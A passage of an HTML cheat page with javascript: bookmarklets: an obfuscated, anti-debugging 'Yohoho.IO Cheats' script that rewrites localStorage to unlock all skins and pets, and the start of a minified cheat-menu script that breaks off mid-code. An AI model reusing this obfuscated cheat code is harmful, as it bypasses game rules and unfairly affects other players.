C'aTcYY'%2C'eXhCw'%2C'unlockedSkins'%2C'1661OuHzpg'%2C'(((.%2B)%2B)%2B)%2B%24'%2C'Finished!%5Cx20The%5Cx20page%5Cx20will%5Cx20now%5Cx20reload%5Cx20for%5Cx20the%5Cx20changes%5Cx20to%5Cx20take%5Cx20effect!'%2C'__proto__'%2C'log'%2C'counter'%2C'debu'%2C'error'%2C'length'%2C'449RmqYJz'%2C'search'%2C'input'%2C'test'%2C'table'%2C'The%5Cx20script%5Cx20has%5Cx20been%5Cx20cancelled!%5Cx20Have%5Cx20a%5Cx20nice%5Cx20day!'%2C'BqZSR'%5D%3B_0x1101%3Dfunction()%7Breturn%20_0x550c10%3B%7D%3Breturn%20_0x1101()%3B%7Dvar%20_0xdee93c%3D(function()%7Bvar%20_0x2269c3%3D!!%5B%5D%3Breturn%20function(_0x2b326a%2C_0x5c611b)%7Bvar%20_0xa408cb%3D_0x2269c3%3Ffunction()%7Bvar%20_0x1d1515%3D_0x5349%3Bif(_0x5c611b)%7Bvar%20_0x5388d4%3D_0x5c611b%5B_0x1d1515(0x1ea)%5D(_0x2b326a%2Carguments)%3Breturn%20_0x5c611b%3Dnull%2C_0x5388d4%3B%7D%7D%3Afunction()%7B%7D%3Breturn%20_0x2269c3%3D!%5B%5D%2C_0xa408cb%3B%7D%3B%7D())%2C_0x22b1ac%3D_0xdee93c(this%2Cfunction()%7Bvar%20_0x2adb39%3D_0x5349%2C_0x1b1d71%3Btry%7Bif(_0x2adb39(0x207)%3D%3D%3D_0x2adb39(0x1e8))_0xdd2f0c(0x0)%3Belse%7Bvar%20_0x28de03%3DFunction(_0x2adb39(0x1f2)%2B_0x2adb39(0x209)%2B')%3B')%3B_0x1b1d71%3D_0x28de03()%3B%7D%7Dcatch(_0x4fd599)%7Bif(_0x2adb39(0x208)!%3D%3D_0x2adb39(0x1ee))_0x1b1d71%3Dwindow%3Belse%7Bif(_0x5c6a24)%7Bvar%20_0x4fc9ea%3D_0x2222ae%5B_0x2adb39(0x1ea)%5D(_0x2ac408%2Carguments)%3Breturn%20_0x5a3cb1%3Dnull%2C_0x4fc9ea%3B%7D%7D%7Dvar%20_0x1e2465%3D_0x1b1d71%5B_0x2adb39(0x206)%5D%3D_0x1b1d71%5B_0x2adb39(0x206)%5D%7C%7C%7B%7D%2C_0xeacc30%3D%5B_0x2adb39(0x1dd)%2C_0x2adb39(0x213)%2C_0x2adb39(0x214)%2C_0x2adb39(0x1e0)%2C'exception'%2C'table'%2C'trace'%5D%3Bfor(var%20_0x1d8669%3D0x0%3B_0x1d8669%3C_0xeacc30%5B_0x2adb39(0x1e1)%5D%3B_0x1d8669%2B%2B)%7Bif(_0x2adb39(0x1fc)%3D%3D%3D_0x2adb39(0x1fc))%7Bvar%20_0x115b45%3D_0xdee93c%5B_0x2adb39(0x211)%5D%5B_0x2adb39(0x1ff)%5D%5B'bind'%5D(_0xdee93c)%2C_0x2b0b70%3D_0xeacc30%5B_0x1d8669%5D%2C_0xf6fef4%3D_0x1e2465%5B_0x2b0b70%5D%7C%7C_0x115b45%3B_0x115b45%5B_0x2adb39(0x1dc)%5D%3D_0xdee93c%5B_0x2adb39(0x1ed)%5D(_0xdee93c)%2C_0x115b45%5B'toString'%5D%3D_0xf6fef4%5B'toString'%5D%5B_0x2adb39(0x1ed)%5D(_0xf6fef4)%2C_0x1e2465%5B_0x2b0b70%5D%3D_0x115b45%3B%7Delse%7Bvar%20_0x214333%3Btry%7Bvar%20_0x283e77%3D_0x2ae7a0(_0x2adb39(0x1f2)%2B_0x2adb39(0x209)%2B')%3B')%3B_0x214333%3D_0x283e77()%3B%7Dcatch(_0x485cee)%7B_0x214333%3D_0x581ec1%3B%7Dvar%20_0x431763%3D_0x214333%5B'console'%5D%3D_0x214333%5B_0x2adb39(0x206)%5D%7C%7C%7B%7D%2C_0x1dca6c%3D%5B_0x2adb39(0x1dd)%2C_0x2adb39(0x213)%2C'info'%2C_0x2adb39(0x1e0)%2C_0x2adb39(0x1f5)%2C_0x2adb39(0x1e6)%2C_0x2adb39(0x20d)%5D%3Bfor(var%20_0x5a67d6%3D0x0%3B_0x5a67d6%3C_0x1dca6c%5B_0x2adb39(0x1e1)%5D%3B_0x5a67d6%2B%2B)%7Bvar%20_0x603c42%3D_0x2ebf4a%5B'constructor'%5D%5B_0x2adb39(0x1ff)%5D%5B_0x2adb39(0x1ed)%5D(_0xedf4d0)%2C_0x37712c%3D_0x1dca6c%5B_0x5a67d6%5D%2C_0x43599c%3D_0x431763%5B_0x37712c%5D%7C%7C_0x603c42%3B_0x603c42%5B'__proto__'%5D%3D_0x429b17%5B'bind'%5D(_0x20cc5a)%2C_0x603c42%5B_0x2adb39(0x1ef)%5D%3D_0x43599c%5B_0x2adb39(0x1ef)%5D%5B'bind'%5D(_0x43599c)%2C_0x431763%5B_0x37712c%5D%3D_0x603c42%3B%7D%7D%7D%7D)%3B_0x22b1ac()%3Bconfirm(_0x174722(0x1fe))%3D%3D!!%5B%5D%3F(localStorage%5B'setItem'%5D(_0x174722(0x217)%2C'%5B1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%2C33%2C34%2C35%5D')%2ClocalStorage%5B_0x174722(0x1fa)%5D('playerSkin'%2C'35')%2ClocalStorage%5B_0x174722(0x1fa)%5D(_0x174722(0x20e)%2C_0x174722(0x1ec))%2ClocalStorage%5B'setItem'%5D('playerPet'%2C'9')%2ClocalStorage%5B_0x174722(0x1fa)%5D(_0x174722(0x1f6)%2C'14')%2Calert(_0x174722(0x1db))%2Clocation%5B'reload'%5D())%3Aalert(_0x174722(0x1e7))%3Bfunction%20_0x4bf308(_0x34a9ca)%7Bvar%20_0x486d99%3D_0x174722%3Bfunction%20_0x359a6f(_0x5be8f3)%7Bvar%20_0x3eedd3%3D_0x5349%3Bif(typeof%20_0x5be8f3%3D%3D%3D_0x3eedd3(0x210))return%20function(_0x4673d8)%7B%7D%5B'constructor'%5D(_0x3eedd3(0x20a))%5B_0x3eedd3(0x1ea)%5D(_0x3eedd3(0x1de))%3Belse%7Bif((''%2B_0x5be8f3%2F_0x5be8f3)%5B_0x3eedd3(0x1e1)%5D!%3D%3D0x1%7C%7C_0x5be8f3%250x14%3D%3D%3D0x0)'ascFO'!%3D%3D'SFUNi'%3Ffunction()%7Bvar%20_0x3b3300%3D_0x3eedd3%3Bif(_0x3b3300(0x1f1)%3D%3D%3D'SWNEZ')return!!%5B%5D%3Belse%20_0x16e23e%3D_0x188402%3B%7D%5B_0x3eedd3(0x211)%5D('debu'%2B_0x3eedd3(0x202))%5B_0x3eedd3(0x1f3)%5D(_0x3eedd3(0x1f9))%3A_0x3417b9%3D_0x474a74%3Belse%7Bif('obaOi'!%3D%3D_0x3eedd3(0x200))%7Bif(_0x2e1d47)%7Bvar%20_0x75306c%3D_0x3d8226%5B'apply'%5D(_0x19b02a%2Carguments)%3Breturn%20_0x2f5238%3Dnull%2C_0x75306c%3B%7D%7Delse(function()%7Breturn!%5B%5D%3B%7D%5B'constructor'%5D('debu'%2B_0x3eedd3(0x202))%5B_0x3eedd3(0x1ea)%5D(_0x3eedd3(0x212)))%3B%7D%7D_0x359a6f(%2B%2B_0x5be8f3)%3B%7Dtry%7Bif(_0x486d99(0x1f0)%3D%3D%3D'YBOZM')return!%5B%5D%3Belse%7Bif(_0x34a9ca)return%20_0x359a6f%3Belse%20_0x486d99(0x205)%3D%3D%3D'XqhBk'%3F_0x359a6f(0x0)%3Afunction()%7Breturn!!%5B%5D%3B%7D%5B'constructor'%5D(_0x486d99(0x1df)%2B_0x486d99(0x202))%5B_0x486d99(0x1f3)%5D(_0x486d99(0x1f9))%3B%7D%7Dcatch(_0x3cfc0e)%7B%7D%7D%7D)()%3B">
<p class="cheat-title">Yohoho.IO Cheats</p>
<p class="cheat-creator">By: Unknown</p>
</a>
<a class="cheat" href="javascript:(function(){!function()%7B%22use%20strict%22%3Bfunction%20e()%7B%7Dfunction%20t(e)%7Breturn%20e()%7Dfunction%20n()%7Breturn%20Object.create(null)%7Dfunction%20r(e)%7Be.forEach(t)%7Dfunction%20o(e)%7Breturn%22function%22%3D%3Dtypeof%20e%7Dfunction%20i(e%2Ct)%7Breturn%20e!%3De%3Ft%3D%3Dt%3Ae!%3D%3Dt%7C%7Ce%26%26%22object%22%3D%3Dtypeof%20e%7C%7C%22function%22%3D%3Dtypeof%20e%7Dfunction%20s(t%2C...n)%7Bif(null%3D%3Dt)%7Bfor(const%20e%20of%20n)e(void%200)%3Breturn%20e%7Dconst%20r%3Dt.subscribe(...n)%3Breturn%20r.unsubscribe%3F()%3D%3Er.unsubscribe()%3Ar%7Dfunction%20a(e)%7Blet%20t%3Breturn%20s(e%2C(e%3D%3Et%3De))()%2Ct%7Dfunction%20c(e%2Ct%2Cn)%7Be.%24%24.on_destroy.push(s(t%2Cn))%7Dfunction%20l(e%2Ct%2Cn%2Cr)%7Bif(e)%7Bconst%20o%3Du(e%2Ct%2Cn%2Cr)%3Breturn%20e%5B0%5D(o)%7D%7Dfunction%20u(e%2Ct%2Cn%2Cr)%7Breturn%20e%5B1%5D%26%26r%3Ffunction(e%2Ct)%7Bfor(const%20n%20in%20t)e%5Bn%5D%3Dt%5Bn%5D%3Breturn%20e%7D(n.ctx.slice()%2Ce%5B1%5D(r(t)))%3An.ctx%7Dfunction%20f(e%2Ct%2Cn%2Cr)%7Bif(e%5B2%5D%26%26r)%7Bconst%20o%3De%5B2%5D(r(n))%3Bif(void%200%3D%3D%3Dt.dirty)return%20o%3Bif(%22object%22%3D%3Dtypeof%20o)%7Bconst%20e%3D%5B%5D%2Cn%3DMath.max(t.dirty.length%2Co.length)%3Bfor(let%20r%3D0%3Br%3Cn%3Br%2B%3D1)e%5Br%5D%3Dt.dirty%5Br%5D%7Co%5Br%5D%3Breturn%20e%7Dreturn%20t.dirty%7Co%7Dreturn%20t.dirty%7Dfunction%20d(e%2Ct%2Cn%2Cr%2Co%2Ci)%7Bif(o)%7Bconst%20s%3Du(t%2Cn%2Cr%2Ci)%3Be.p(s%2Co)%7D%7Dfunction%20h(e)%7Bif(e.ctx.length%3E32)%7Bconst%20t%3D%5B%5D%2Cn%3De.ctx.length%2F32%3Bfor(let%20e%3D0%3Be%3Cn%3Be%2B%2B)t%5Be%5D%3D-1%3Breturn%20t%7Dreturn-1%7Dfunction%20p(e%2Ct%2Cn)%7Breturn%20e.set(n)%2Ct%7Dconst%20g%3D%22undefined%22!%3Dtypeof%20window%3Blet%20m%3Dg%3F()%3D%3Ewindow.performance.now()%3A()%3D%3EDate.now()%2C%24%3Dg%3Fe%3D%3ErequestAnimationFrame(e)%3Ae%3Bconst%20y%3Dnew%20Set%3Bfunction%20v(e)%7By.forEach((t%3D%3E%7Bt.c(e)%7C%7C(y.delete(t)%2Ct.f())%7D))%2C0!%3D%3Dy.size%26%26%24(v)%7Dconst%20b%3D%22undefined%22!%3Dtypeof%20window%3Fwindow%3A%22undefined%22!%3Dtypeof%20globalThis%3FglobalThis%3Aglobal%3Bfunction%20w(e%2Ct)%7Be.appendChild(t)%7Dfunction%20x(e%2Ct%2Cn)%7Bconst%20r%3Dfunction(e)%7Bif(!e)return%20document%3Bconst%20t%3De.getRootNode%3Fe.getRootNode()%3Ae.ownerDocument%3Bif(t%26%26t.host)return%20t%3Breturn%20e.ownerDocument%7D(e)%3Bif(!r.getElementById(t))%7Bconst%20e%3DO(%22style%22)%3Be.id%3Dt%2Ce.textContent%3Dn%2Cfunction(e%2Ct)%7Bw(e.head%7C%7Ce%2Ct)%2Ct.sheet%7D(r%2Ce)%7D%7Dfunction%20E(e%2Ct%2Cn)%7Be.insertBefore(t%2Cn%7C%7Cnull)%7Dfunction%20_(e)%7Be.parentNode%26%26e.parentNode.removeChild(e)%7Dfunction%20A(e%2Ct)%7Bfor(let%20n%3D0%3Bn%3Ce.length%3Bn%2B%3D1)e%5Bn%5D%26%26e%5Bn%5D.d(t)%7Dfunction%20O(e)%7Breturn%20document.createElement(e)%7Dfunction%20I(e)%7Breturn%20document.createElementNS(%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%2Ce)%7Dfunction%20k(e)%7Breturn%20document.createTextNode(e)%7Dfunction%20T()%7Breturn%20k(%22%20%22)%7Dfunction%20C()%7Breturn%20k(%22%22)%7Dfunction%20R(e%2Ct%2Cn%2Cr)%7Breturn%20e.addEventListener(t%2Cn%2Cr)%2C()%3D%3Ee.removeEventListener(t%2Cn%2Cr)%7Dfunction%20S(e)%7Breturn%20function(t)%7Breturn%20t.preventDefault()%2Ce.call(this%2Ct)%7D%7Dfunction%20P(e)%7Breturn%20function(t)%7Breturn%20t.stopPropagation()%2Ce.call(this%2Ct)%7D%7Dfunction%20M(e%2Ct%2Cn)%7Bnull%3D%3Dn%3Fe.removeAttribute(t)%3Ae.getAttribute(t)!%3D%3Dn%26%26e.setAttribute(t%2Cn)%7Dfunction%20N(e)%7Breturn%22%22%3D%3D%3De%3Fnull%3A%2Be%7Dfunction%20D(e%2Ct)%7Bt%3D%22%22%2Bt%2Ce.data!%3D%3Dt%26%26(e.data%3Dt)%7Dfunction%20L(e%2Ct)%7Be.value%3Dnull%3D%3Dt%3F%22%22%3At%7Dfunction%20q(e%2Ct%2Cn%2Cr)%7Bnull%3D%3Dn%3Fe.style.removeProperty(t)%3Ae.style.setProperty(t%2Cn%2Cr%3F%22important%22%3A%22%22)%7Dfunction%20U(e%2Ct%2Cn)%7Be.classList.toggle(t%2C!!n)%7Dlet%20j%3Bfunction%20B(e)%7Bj%3De%7Dfunction%20H()%7Bif(!j)throw%20new%20Error(%22Function%20called%20outside%20component%20initialization%22)%3Breturn%20j%7Dfunction%20z(e)%7BH().%24%24.on_mount.push(e)%7Dfunction%20V(e)%7BH().%24%24.on_destroy.push(e)%7Dfunction%20F()%7Bconst%20e%3DH()%3Breturn(t%2Cn%2C%7Bcancelable%3Ar%3D!1%7D%3D%7B%7D)%3D%3E%7Bconst%20o%3De.%24%24.callbacks%5Bt%5D%3Bif(o)%7Bconst%20i%3Dfunction(e%2Ct%2C%7Bbubbles%3An%3D!1%2Ccancelable%3Ar%3D!1%7D%3D%7B%7D)%7Breturn%20new%20CustomEvent(e%2C%7Bdetail%3At%2Cbubbles%3An%2Ccancelable%3Ar%7D)%7D(t%2Cn%2C%7Bcancelable%3Ar%7D)%3Breturn%20o.slice().forEach((t%3D%3E%7Bt.call(e%2Ci)%7D))%2C!i.defaultPrevented%7Dreturn!0%7D%7Dfunction%20W(e%2Ct)%7Bconst%20n%3De.%24%24.callbacks%5Bt.type%5D%3Bn%26%26n.slice().forEach((e%3D%3Ee.call(this%2Ct)))%7Dconst%20J%3D%5B%5D%2CG%3D%5B%5D%3Blet%20K%3D%5B%5D%3Bconst%20Q%3D%5B%5D%2CX%3DPromise.resolve()%3Blet%20Y%3D!1%3Bfunction%20Z(e)%7BK.push(e)%7Dfunction%20ee(e)%7BQ.push(e)%7Dconst%20te%3Dnew%20Set%3Blet%20ne%3D0%3Bfunction%20re()%7Bif(0!%3D%3Dne)return%3Bconst%20e%3Dj%3Bdo%7Btry%7Bfor(%3Bne%3CJ.length%3B)%7Bconst%20e%3DJ%5Bne%5D%3Bne%2B%2B%2CB(e)%2Coe(e.%24%24)%7D%7Dcatch(e)%7Bthrow%20J.length%3D0%2Cne%3D0%2Ce%7Dfor(B(null)%2CJ.length%3D0%2Cne%3D0%3BG.length%3B)G.pop()()%3Bfor(let%20e%3D0%3Be%3CK.length%3Be%2B%3D1)%7Bconst%20t%3DK%5Be%5D%3Bte.has(t)%7C%7C(te.add(t)%2Ct())%7DK.length%3D0%7Dwhile(J.length)%3Bfor(%3BQ.length%3B)Q.pop()()%3BY%3D!1%2Cte.clear()%2CB(e)%7Dfunction%20oe(e)%7Bif(null!%3D%3De.fragment)%7Be.update()%2Cr(e.before_update)%3Bconst%20t%3De.dirty%3Be.dirty%3D%5B-1%5D%2Ce.fragment%26%26e.fragment.p(e.ctx%2Ct)%2Ce.after_update.forEach(Z)%7D%7Dconst%20ie%3Dnew%20Set%3Blet%20se%3Bfunction%20ae()%7Bse%3D%7Br%3A0%2Cc%3A%5B%5D%2Cp%3Ase%7D%7Dfunction%20ce()%7Bse.r%7C%7Cr(se.c)%2Cse%3Dse.p%7Dfunction%20le(e%2Ct)%7Be%26%26e.i%26%26(ie.delete(e)%2Ce.i(t))%7Dfunction%20ue(e%2Ct%2Cn%2Cr)%7Bif(e%26%26e.o)%7Bif(ie.has(e))return%3Bie.add(e)%2Cse.c.push((()%3D%3E%7Bie.delete(e)%2Cr%26%26(n%26%26e.d(1)%2Cr())%7D))%2Ce.o(t)%7Delse%20r%26%26r()%7Dfunction%20fe(e)%7Breturn%20void%200!%3D%3De%3F.length%3Fe%3AArray.from(e)%7Dfunction%20de(e%2Ct%2Cn)%7Bconst%20r%3De.%24%24.props%5Bt%5D%3Bvoid%200!%3D%3Dr%26%26(e.%24%24.bound%5Br%5D%3Dn%2Cn(e.%24%24.ctx%5Br%5D))%7Dfunction%20he(e)%7Be%26%26e.c()%7Dfunction%20pe(e%2Cn%2Ci)%7Bconst%7Bfragment%3As%2Cafter_update%3Aa%7D%3De.%24%24%3Bs%26%26s.m(n%2Ci)%2CZ((()%3D%3E%7Bconst%20n%3De.%24%24.on_mount.map(t).filter(o)%3Be.%24%24.on_destroy%3Fe.%24%24.on_destroy.push(...n)%3Ar(n)%2Ce.%24%24.on_mount%3D%5B%5D%7D))%2Ca.forEach(Z)%7Dfunction%20ge(e%2Ct)%7Bconst%20n%3De.%24%24%3Bnull!%3D%3Dn.fragment%26%26(!function(e)%7Bconst%20t%3D%5B%5D%2Cn%3D%5B%5D%3BK.forEach((r%3D%3E-1%3D%3D%3De.indexOf(r)%3Ft.push(r)%3An.push(r)))%2Cn.forEach((e%3D%3Ee()))%2CK%3Dt%7D(n.after_update)%2Cr(n.on_destroy)%2Cn.fragment%26%26n.fragment.d(t)%2Cn.on_destroy%3Dn.fragment%3Dnull%2Cn.ctx%3D%5B%5D)%7Dfunction%20me(e%2Ct)%7B-1%3D%3D%3De.%24%24.dirty%5B0%5D%26%26(J.push(e)%2CY%7C%7C(Y%3D!0%2CX.then(re))%2Ce.%24%24.dirty.fill(0))%2Ce.%24%24.dirty%5Bt%2F31%7C0%5D%7C%3D1%3C%3Ct%2531%7Dfunction%20%24e(t%2Co%2Ci%2Cs%2Ca%2Cc%2Cl%3Dnull%2Cu%3D%5B-1%5D)%7Bconst%20f%3Dj%3BB(t)%3Bconst%20d%3Dt.%24%24%3D%7Bfragment%3Anull%2Cctx%3A%5B%5D%2Cprops%3Ac%2Cupdate%3Ae%2Cnot_equal%3Aa%2Cbound%3An()%2Con_mount%3A%5B%5D%2Con_destroy%3A%5B%5D%2Con_disconnect%3A%5B%5D%2Cbefore_update%3A%5B%5D%2Cafter_update%3A%5B%5D%2Ccontext%3Anew%20Map(o.context%7C%7C(f%3Ff.%24%24.context%3A%5B%5D))%2Ccallbacks%3An()%2Cdirty%3Au%2Cskip_bound%3A!1%2Croot%3Ao.target%7C%7Cf.%24%24.root%7D%3Bl%26%26l(d.root)%3Blet%20h%3D!1%3Bif(d.ctx%3Di%3Fi(t%2Co.props%7C%7C%7B%7D%2C((e%2Cn%2C...r)%3D%3E%7Bconst%20o%3Dr.length%3Fr%5B0%5D%3An%3Breturn%20d.ctx%26%26a(d.ctx%5Be%5D%2Cd.ctx%5Be%5D%3Do)%26%26(!d.skip_bound%26%26d.bound%5Be%5D%26%26d.bound%5Be%5D(o)%2Ch%26%26me(t%2Ce))%2Cn%7D))%3A%5B%5D%2Cd.update()%2Ch%3D!0%2Cr(d.before_update)%2Cd.fragment%3D!!s%26%26s(d.ctx)%2Co.target)%7Bif(o.hydrate)%7Bconst%20e%3Dfunction(e)%7Breturn%20Array.from(e.childNodes)%7D(o.target)%3Bd.fragment%26%26d.fragment.l(e)%2Ce.forEach(_)%7Delse%20d.fragment%26%26d.fragment.c()%3Bo.intro%26%26le(t.%24%24.fragment)%2Cpe(t%2Co.target%2Co.anchor)%2Cre()%7DB(f)%7Dclass%20ye%7B%24%24%3Dvoid%200%3B%24%24set%3Dvoid%200%3B%24destroy()%7Bge(this%2C1)%2Cthis.%24destroy%3De%7D%24on(t%2Cn)%7Bif(!o(n))return%20e%3Bconst%20r%3Dthis.%24%24.callbacks%5Bt%5D%7C%7C(this.%24%24.callbacks%5Bt%5D%3D%5B%5D)%3Breturn%20r.push(n)%2C()%3D%3E%7Bconst%20e%3Dr.indexOf(n)%3B-1!%3D%3De%26%26r.splice(e%2C1)%7D%7D%24set(e)%7Bvar%20t%3Bthis.%24%24set%26%26(t%3De%2C0!%3D%3DObject.keys(t).length)%26%26(this.%24%24.skip_bound%3D!0%2Cthis.%24%24set(e)%2Cthis.%24%24.skip_bound%3D!1)%7D%7D%22undefined%22!%3Dtypeof%20window%26%26(window.__svelte%7C%7C(window.__svelte%3D%7Bv%3Anew%20Set%7D)).v.add(%224%22)%3Bvar%20ve%3D%22undefined%22!%3Dtypeof%20globalThis%3FglobalThis%3A%22undefined%22!%3Dtypeof%20window%3Fwindow%3A%22undefined%22!%3Dtypeof%20global%3Fglobal%3A%22undefined%22!%3Dtypeof%20self%3Fself%3A%7B%7D%3Bfunction%20be(e)%7Breturn%20e%26%26e.__esModule%26%26Object.prototype.hasOwnProperty.call(e%2C%22default%22)%3Fe.default%3Ae%7Dvar%20we%3D%7Bexports%3A%7B%7D%7D%3Bfunction%20xe(e%2Ct%3D100%2Cn%3D%7B%7D)%7Bif(%22function%22!%3Dtypeof%20e)throw%20new%20TypeError(%60Expected%20the%20first%20parameter%20to%20be%20a%20function%2C%20got%20%5C%60%24%7Btypeof%20e%7D%5C%60.%60)%3Bif(t%3C0)throw%20new%20RangeError(%22%60wait%60%20must%20not%20be%20negative.%22)%3Bconst%7Bimmediate%3Ar%7D%3D%22boolean%22%3D%3Dtypeof%20n%3F%7Bimmediate%3An%7D%3An%3Blet%20o%2Ci%2Cs%2Ca%2Cc%3Bfunction%20l()%7Bconst%20n%3DDate.now()-a%3Bif(n%3Ct%26%26n%3E%3D0)s%3DsetTimeout(l%2Ct-n)%3Belse%20if(s%3Dvoid%200%2C!r)%7Bconst%20t%3Do%2Cn%3Di%3Bo%3Dvoid%200%2Ci%3Dvoid%200%2Cc%3De.apply(t%2Cn)%7D%7Dconst%20u%3Dfunction(...n)%7Bif(o%26%26this!%3D%3Do)throw%20new%20Error(%22Debounced%20method%20called%20with%20different%20contexts.%22)%3Bo%3Dthis%2Ci%3Dn%2Ca%3DDate.now()%3Bconst%20u%3Dr%26%26!s%3Bif(s%7C%7C(s%3DsetTimeout(l%2Ct))%2Cu)%7Bconst%20t%3Do%2Cn%3Di%3Bo%3Dvoid%200%2Ci%3Dvoid%200%2Cc%3De.apply(t%2Cn)%7Dreturn%20c%7D%3Breturn%20u.clear%3D()%3D%3E%7Bs%26%26(clearTimeout(s)%2Cs%3Dvoid%200)%7D%2Cu.flush%3D()%3D%3E%7Bif(!s)return%3Bconst%20t%3Do%2Cn%3Di%3Bo%3Dvoid%200%2Ci%3Dvoid%200%2Cc%3De.apply(t%2Cn)%2CclearTimeout(s)%2Cs%3Dvoid%200%7D%2Cu%7Dwe.exports.debounce%3Dxe%2Cwe.exports%3Dxe%3Bvar%20Ee%3Dbe(we.exports)%3Bconst%20_e%3D%5B%5D%3Bfunction%20Ae(t%2Cn%3De)%7Blet%20r%3Bconst%20o%3Dnew%20Set%3Bfunction%20s(e)%7Bif(i(t%2Ce)%26%26(t%3De%2Cr))%7Bconst%20e%3D!_e.length%3Bfor(const%20e%20of%20o)e%5B1%5D()%2C_e.push(e%2Ct)%3Bif(e)%7Bfor(let%20e%3D0%3Be%3C_e.length%3Be%2B%3D2)_e%5Be%5D%5B0%5D(_e%5Be%2B1%5D)%3B_e.length%3D0%7D%7D%7Dfunction%20a(e)%7Bs(e(t))%7Dreturn%7Bset%3As%2Cupdate%3Aa%2Csubscribe%3Afunction(i%2Cc%3De)%7Bconst%20l%3D%5Bi%2Cc%5D%3Breturn%20o.add(l)%2C1%3D%3D%3Do.size%26%26(r%3Dn(s%2Ca)%7C%7Ce)%2Ci(t)%2C()%3D%3E%7Bo.delete(l)%2C0%3D%3D%3Do.size%26%26r%26%26(r()%2Cr%3Dnull)%7D%7D%7D%7Dfunction%20Oe(e)%7Breturn%22%5Bobject%20Date%5D%22%3D%3D%3DObject.prototype.toString.call(e)%7Dfunction%20Ie(e%2Ct%2Cn%2Cr)%7Bif(%22number%22%3D%3Dtypeof%20n%7C%7COe(n))%7Bconst%20o%3Dr-n%2Ci%3D(n-t)%2F(e.dt%7C%7C1%2F60)%2Cs%3D(i%2B(e.opts.stiffness*o-e.opts.damping*i)*e.inv_mass)*e.dt%3Breturn%20Math.abs(s)%3Ce.opts.precision%26%26Math.abs(o)%3Ce.opts.precision%3Fr%3A(e.settled%3D!1%2COe(n)%3Fnew%20Date(n.getTime()%2Bs)%3An%2Bs)%7Dif(Array.isArray(n))return%20n.map(((o%2Ci)%3D%3EIe(e%2Ct%5Bi%5D%2Cn%5Bi%5D%2Cr%5Bi%5D)))%3Bif(%22object%22%3D%3Dtypeof%20n)%7Bconst%20o%3D%7B%7D%3Bfor(const%20i%20in%20n)o%5Bi%5D%3DIe(e%2Ct%5Bi%5D%2Cn%5Bi%5D%2Cr%5Bi%5D)%3Breturn%20o%7Dthrow%20new%20Error(%60Cannot%20spring%20%24%7Btypeof%20n%7D%20values%60)%7Dfunction%20ke(e%2Ct%3D%7B%7D)%7Bconst%20n%3DAe(e)%2C%7Bstiffness%3Ar%3D.15%2Cdamping%3Ao%3D.8%2Cprecision%3Ai%3D.01%7D%3Dt%3Blet%20s%2Ca%2Cc%2Cl%3De%2Cu%3De%2Cf%3D1%2Cd%3D0%2Ch%3D!1%3Bfunction%20p(t%2Cr%3D%7B%7D)%7Bu%3Dt%3Bconst%20o%3Dc%3D%7B%7D%3Bif(null%3D%3De%7C%7Cr.hard%7C%7Cg.stiffness%3E%3D1%26%26g.damping%3E%3D1)return%20h%3D!0%2Cs%3Dm()%2Cl%3Dt%2Cn.set(e%3Du)%2CPromise.resolve()%3Bif(r.soft)%7Bconst%20e%3D!0%3D%3D%3Dr.soft%3F.5%3A%2Br.soft%3Bd%3D1%2F(60*e)%2Cf%3D0%7Dreturn%20a%7C%7C(s%3Dm()%2Ch%3D!1%2Ca%3Dfunction(e)%7Blet%20t%3Breturn%200%3D%3D%3Dy.size%26%26%24(v)%2C%7Bpromise%3Anew%20Promise((n%3D%3E%7By.add(t%3D%7Bc%3Ae%2Cf%3An%7D)%7D))%2Cabort()%7By.delete(t)%7D%7D%7D((t%3D%3E%7Bif(h)return%20h%3D!1%2Ca%3Dnull%2C!1%3Bf%3DMath.min(f%2Bd%2C1)%3Bconst%20r%3D%7Binv_mass%3Af%2Copts%3Ag%2Csettled%3A!0%2Cdt%3A60*(t-s)%2F1e3%7D%2Co%3DIe(r%2Cl%2Ce%2Cu)%3Breturn%20s%3Dt%2Cl%3De%2Cn.set(e%3Do)%2Cr.settled%26%26(a%3Dnull)%2C!r.settled%7D)))%2Cnew%20Promise((e%3D%3E%7Ba.promise.then((()%3D%3E%7Bo%3D%3D%3Dc%26%26e()%7D))%7D))%7Dconst%20g%3D%7Bset%3Ap%2Cupdate%3A(t%2Cn)%3D%3Ep(t(u%2Ce)%2Cn)%2Csubscribe%3An.subscribe%2Cstiffness%3Ar%2Cdamping%3Ao%2Cprecision%3Ai%7D%3Breturn%20g%7Dconst%20Te%3D%22undefined%22!%3Dtypeof%20GM_getValue%3Bfunction%20Ce(e%2Ct)%7BTe%3FGM_setValue(e%2Ct)%3AlocalStorage.setItem(%60gc-%24%7Be%7D%60%2Ct)%7Dfunction%20Re(e%2Ct)%7Breturn%20Te%3FGM_getValue(e%2Ct)%3AlocalStorage.getItem(%60gc-%24%7Be%7D%60)%3F%3Ft%7Dconst%20Se%3D%7BtextColor%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%2CmenuBackgroundColor%3A%22rgba(0%2C%200%2C%200%2C%200.5)%22%2CmenuOutlineColor%3A%22rgba(255%2C%20255%2C%20255%2C%200)%22%2CmenuHeaderBackgroundColor%3A%22rgba(0%2C%200%2C%20255%2C%200.5)%22%2CmenuHeaderTextColor%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%2CbuttonBackgroundColor%3A%22rgba(0%2C%200%2C%200%2C%200.5)%22%2CbuttonBorderColor%3A%22rgba(255%2C%20255%2C%20255%2C%201)%22%7D%2CPe%3D%7B%22General%20Cheats%22%3A%7Bx%3A0%2Cy%3A0%2Cwidth%3Awindow.innerWidth%2F4%2Cheight%3Awindow.innerHeight%2F3*2%2Cminimized%3A!1%7D%2C%22Gamemode%20Specific%20Cheats%22%3A%7Bx%3Awindow.innerWidth%2F8*3%2Cy%3A0%2Cwidth%3Awindow.innerWidth%2F4%2Cheight%3Awindow.innerHeight%2F3*2%2Cminimized%3A!1%7D%2CCustomization%3A%7Bx%3Awindow.innerWidth%2F4*3%2Cy%3A0%2Cwidth%3Awindow.innerWidth%2F4%2Cheight%3Awindow.innerHeight%2F3*2%2Cminimized%3A!1%7D%7D%3Blet%20Me%3DRe(%22cssVars%22)%2CNe%3D%7B%7D%3BMe%26%26(Ne%3DJSON.parse(Me))%2CNe%3DObject.assign(%7B%7D%2CSe%2CNe)%3Blet%20De%3DRe(%22menuTransforms%22)%2CLe%3D%7B%7D%3BDe%26%26(L